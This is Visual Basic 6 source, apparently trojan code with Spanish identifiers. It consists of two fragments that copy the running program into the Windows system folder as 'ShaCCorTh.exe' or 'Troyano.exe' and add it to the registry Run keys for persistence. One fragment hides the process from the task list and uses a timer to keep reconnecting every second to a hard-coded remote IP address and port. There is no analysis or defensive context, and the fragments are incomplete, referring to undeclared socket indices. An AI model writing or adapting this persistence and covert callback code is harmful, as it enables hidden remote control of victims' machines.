Private Sub Form_Load()
Dim ruta As Variant, Residencia As Variant
Dim win
Dim sys
Dim obj
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\ShaCCorTh.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ShaCCorTh", sys & "\ShaCCorTh.exe"
Ws.RemoteHost = "200.83.238.77"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub

Option Explicit
Dim ip As String, port As String

Private Sub Form_Load()
Dim Residencia As Variant, Ruta As String, obj As Variant
Dim sys
Dim win
ip = "200.83.238.77"
port = 2700
Timer1.Interval = 1000
Ws(totalindex).RemoteHost = ip
Ws(totalindex).RemotePort = port
App.TaskVisible = False
Ruta = App.Path
If Right(Ruta, 1) <> "\" Then Ruta = Ruta & "\"
Ruta = Ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy Ruta, sys & "\Troyano.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", sys & "\troyano.exe"
End Sub

Private Sub Conectar_Click()
On Error GoTo Error
If Not Ws(Index).State = 7 Then
GoTo puente
Else
GoTo Error
End If
puente:
Ws(Index).Close
Ws(Index).Connect ip, port
Error:
End Sub

Private Sub Timer1_Timer()
If Not Ws(totalindex).State = 7 Then Call Conectar_Click
End Sub

Tesis
vb
...